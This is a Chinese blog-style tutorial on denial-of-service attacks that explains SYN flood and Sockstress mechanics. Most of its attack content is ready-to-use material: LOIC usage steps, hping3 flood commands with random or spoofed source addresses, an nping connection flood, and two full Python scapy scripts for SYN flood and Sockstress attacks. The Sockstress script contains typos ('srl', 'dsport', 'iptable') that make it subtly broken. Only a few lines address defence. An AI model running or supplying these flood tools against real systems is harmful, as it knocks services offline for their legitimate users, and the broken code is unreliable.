网络安全之DOS攻击

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全之DOS攻击相关的知识,希望对你有一定的参考价值。

参考技术A DoS攻击通常是利用传输协议的漏洞、系统存在的漏洞、服务的漏洞,对目标系统发起大规模的进攻,用超出目标处理能力的海量数据包消耗可用系统资源、带宽资源等,或造成程序缓冲区溢出错误,致使其无法处理合法用户的正常请求,无法提供正常服务,最终致使网络服务瘫痪,甚至引起系统死机。这是破坏攻击目标正常运行的一种“损人不利己”的攻击手段。

最常见的DoS攻击行为有网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。

主要有Land攻击、死亡之ping、泪滴、Smurf攻击及SYN洪水等。
免费获取学习资料
2021年全套网络安全资料包及最新面试题
(渗透工具,环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)

这次我们主要介绍简单关于TCP,UDP等相关攻击的工具的使用

最知名的DOS工具之一,黑客组织匿名者官方使用工具。支持TCP/UDP/HTTP大规模流量泛洪。

1、选择URL或IP;

2、设置攻击模式(HTTP,UDP,TCP)、端口号(PORT)、线程(Threads)、速度(可拉)

3、启动攻击(点击IMMA CHARGIN MAH LAZER)

4、效果(开启Wireshark抓包)

例:使用hping3进行TCP攻击

hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source ip/域名

还有很多攻击方式如:

– hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2

-s:指定源端口,不指定也可以

方法还有很多就不截图了大家自己去调试!

TCP全链接DoS攻击
– nping --tcp-connect --rate=10000 -c 1000000000 -q 192.168.33.135
--tcp-connect:建立tcp连接 --rate=10000:速率一万个

例:****使用nping实现TCP连接攻击:****

kali linux之拒绝服务

Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)

DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)

 

历史

以前:欠缺技术能力,ping死你(难缠)

现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)

 

D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)

D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。

 

从攻击者到受害者------网络---》FW--》服务器---》服务应用

 

资源耗尽------

网络:带宽

FW:吞吐量,并发连接

服务器:CPU,内存,I/O

应用:处理请求能力,对OS资源的使用权

 

程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞

 

 

Syn-Flood---常伴随ip欺骗

IP地址欺骗

经常用于dos攻击

根据ip头地址寻址(可以伪造ip源地址)

边界路由器过滤(入站,出站)

受害者可能是源,目的地址

绕过基于地址的验证

压力测试模拟多用户

上层协议(TCP序列号)

 

客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgment)
 
第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击

 

python实现攻击

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
    print "举例: ./syn_flood.py 1.1.1.1 80 20"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 0 == 0:
    sleep(1)

 

 

抓包查看

 

 

 

 

 

Sockstress

针对tcp服务的拒绝服务攻击

消耗目标操作系统资源

与攻击目标建立大量的socket链接

完成三次握手,最后的ack包windows为0(客户端不接收数据)

攻击者资源消耗小(cpu,内存,带宽)

异步攻击,单机可对抗高配资源服务器

windows窗口实现的tcp流控

 

防御措施:

直到今天sockstress攻击仍然是一种很有效的Dos攻击方式

由于建立完整的TCP三次握手,因此使用syn cookie防御无效

根本的防御办法是采用白名单,但是不实际

折中对策,限制单位时间内每秒连接超市的TCP连接数

 

python脚本实现:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
    print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])


## 攻击函数
def sockstress(target,dstport):
    while 0==0:
        try:
            x = random.randint(0,65535)
            response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags=\'S\'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags=\'A\',ack=(response[TCP].seq + 1))/\'\\x00\\x00\',verbose=0)
        except:
            pass


## 停止攻击函数
def shutdown(signal, frame):
    print \'正在恢复 iptables 规则\'
    os.system(\'iptable -D OUTPUT -p tcp --tcp-flas RST RST -d \' + target + \' -j DROP\')
    sys.exit()


## 添加iptables规则
os.system(\'iptables -A OUTPUT -p tcp --tcp-flags RST RST -d \' + target + \' -j DROP\')
signal.signal(signal.SIGINT, shutdown)


## 多线程攻击
print "\\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))


## 永远执行
while 0==0:
    sleep(1)

 

执行攻击并抓包查看

 

 

 

 

友情链接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

 

以上是关于网络安全之DOS攻击的主要内容,如果未能解决你的问题,请参考以下文章

什么是DOS攻击?分为哪些类型?

网络安全-DoS与DDoS攻击原理(TCPUDPCC攻击等)与防御

常见网络攻击手法总结

DoS攻击给互联网络安全带来重大的威胁

非基于网络的dos攻击

什么是dos攻击?